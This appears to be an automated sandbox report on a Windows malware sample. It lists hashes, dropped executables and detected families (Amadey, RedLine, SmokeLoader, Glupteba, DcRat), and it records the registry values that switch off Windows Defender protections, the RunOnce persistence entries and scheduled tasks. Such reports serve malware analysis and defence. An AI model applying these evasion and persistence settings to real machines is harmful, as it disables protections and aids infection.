SHA256 deca3ae35cab3253c52e03468f324bd45922c0e2eab9cf453eede5d75cdaad8e
SHA512 6d9b64a47ffc5e4dfd947da76833bad56be34a57993b55cbceb8f48be0ec556f3367eb78b05e93fcfed5d9a879770148bee74dc0da4f762b5f98d7c1efe527f8

memory/2708-77-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2708-76-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2708-78-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2708-80-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2708-82-0x00000000FFFDE000-0x00000000FFFDF000-memory.dmp

memory/2708-81-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2708-83-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2708-79-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2708-85-0x0000000000400000-0x0000000000433000-memory.dmp

memory/2708-87-0x0000000000400000-0x0000000000433000-memory.dmp

\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

MD5 4e10fde88dd9d2d63f426599a292444e
SHA1 aab6ffd77142b05a285bdfe17a0d81b9f104a144
SHA256 deca3ae35cab3253c52e03468f324bd45922c0e2eab9cf453eede5d75cdaad8e
SHA512 6d9b64a47ffc5e4dfd947da76833bad56be34a57993b55cbceb8f48be0ec556f3367eb78b05e93fcfed5d9a879770148bee74dc0da4f762b5f98d7c1efe527f8

\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

MD5 4e10fde88dd9d2d63f426599a292444e
SHA1 aab6ffd77142b05a285bdfe17a0d81b9f104a144
SHA256 deca3ae35cab3253c52e03468f324bd45922c0e2eab9cf453eede5d75cdaad8e
SHA512 6d9b64a47ffc5e4dfd947da76833bad56be34a57993b55cbceb8f48be0ec556f3367eb78b05e93fcfed5d9a879770148bee74dc0da4f762b5f98d7c1efe527f8

\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

MD5 4e10fde88dd9d2d63f426599a292444e
SHA1 aab6ffd77142b05a285bdfe17a0d81b9f104a144
SHA256 deca3ae35cab3253c52e03468f324bd45922c0e2eab9cf453eede5d75cdaad8e
SHA512 6d9b64a47ffc5e4dfd947da76833bad56be34a57993b55cbceb8f48be0ec556f3367eb78b05e93fcfed5d9a879770148bee74dc0da4f762b5f98d7c1efe527f8

\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe

MD5 4e10fde88dd9d2d63f426599a292444e
SHA1 aab6ffd77142b05a285bdfe17a0d81b9f104a144
SHA256 deca3ae35cab3253c52e03468f324bd45922c0e2eab9cf453eede5d75cdaad8e
SHA512 6d9b64a47ffc5e4dfd947da76833bad56be34a57993b55cbceb8f48be0ec556f3367eb78b05e93fcfed5d9a879770148bee74dc0da4f762b5f98d7c1efe527f8

Analysis: behavioral2

Detonation Overview

Submitted

2023-10-10 21:04

Reported

2023-10-10 21:06

Platform

win10v2004-20230915-en

Max time kernel

76s

Max time network

159s

Command Line

"C:\Users\Admin\AppData\Local\Temp\file.exe"

Signatures

Amadey

trojan amadey

DcRat

rat infostealer dcrat
Description Indicator Process Target
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\file.exe N/A
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Detects Healer an antivirus disabler dropper

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Glupteba

loader dropper glupteba

Glupteba payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Healer

dropper healer

Modifies Windows Defender Real-time Protection settings

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\7F9F.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\7F9F.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\7F9F.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection C:\Users\Admin\AppData\Local\Temp\7F9F.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1" C:\Users\Admin\AppData\Local\Temp\7F9F.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1" C:\Users\Admin\AppData\Local\Temp\7F9F.exe N/A

RedLine

infostealer redline

RedLine payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

SmokeLoader

trojan backdoor smokeloader

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A

Stops running service(s)

evasion

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\7BA5.bat N/A
Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\81B3.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BB04.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-1141987721-3945596982-3297311814-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5nS5Jc7.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\3gO05ag.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\4Nz677Xm.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\5nS5Jc7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\79DE.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UD6Nc0Qd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7AE9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\bP4YC6nA.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7BA5.bat N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\JR1ro8Xb.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JD8xi3ZV.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\1RN09Xh9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7DF8.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\7F9F.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\81B3.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\fefffe8cea\explothe.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP005.TMP\2Ik712VL.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BB04.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\31839b57a4f11171d6abc8bbc4451ee4.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\source1.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\latestX.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A

Windows security modification

evasion trojan
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Features\TamperProtection = "0" C:\Users\Admin\AppData\Local\Temp\7F9F.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\79DE.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\UD6Nc0Qd.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP003.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\bP4YC6nA.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup4 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP005.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP004.TMP\JD8xi3ZV.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\file.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup1 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP001.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup2 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP002.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup3 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP004.TMP\\\"" C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\JR1ro8Xb.exe N/A

Legitimate hosting services abused for malware hosting/C2

Enumerates physical storage devices

Checks SCSI registry key(s)

Description Indicator Process Target
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI C:\Users\Admin\AppData\Local\Temp\toolspub2.exe N/A

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\7F9F.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\source1.exe N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A
Token: SeShutdownPrivilege N/A N/A N/A
Token: SeCreatePagefilePrivilege N/A N/A N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A
N/A N/A C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1312 wrote to memory of 4300 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe
PID 1312 wrote to memory of 4300 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe
PID 1312 wrote to memory of 4300 N/A C:\Users\Admin\AppData\Local\Temp\file.exe C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe
PID 4300 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe
PID 4300 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe
PID 4300 wrote to memory of 2812 N/A C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\YO1hV23.exe C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe
PID 2812 wrote to memory of 1556 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe
PID 2812 wrote to memory of 1556 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe
PID 2812 wrote to memory of 1556 N/A C:\Users\Admin\AppData\Local\Temp\IXP001.TMP\rQ8yQ82.exe C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe
PID 1556 wrote to memory of 3360 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe
PID 1556 wrote to memory of 3360 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe
PID 1556 wrote to memory of 3360 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\1ed68zM7.exe
PID 1556 wrote to memory of 2240 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe
PID 1556 wrote to memory of 2240 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe
PID 1556 wrote to memory of 2240 N/A C:\Users\Admin\AppData\Local\Temp\IXP002.TMP\hC6tO26.exe C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe
PID 2240 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2240 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2240 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2240 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2240 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2240 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2240 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
PID 2240 wrote to memory of 1712 N/A C:\Users\Admin\AppData\Local\Temp\IXP003.TMP\2ZE3001.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
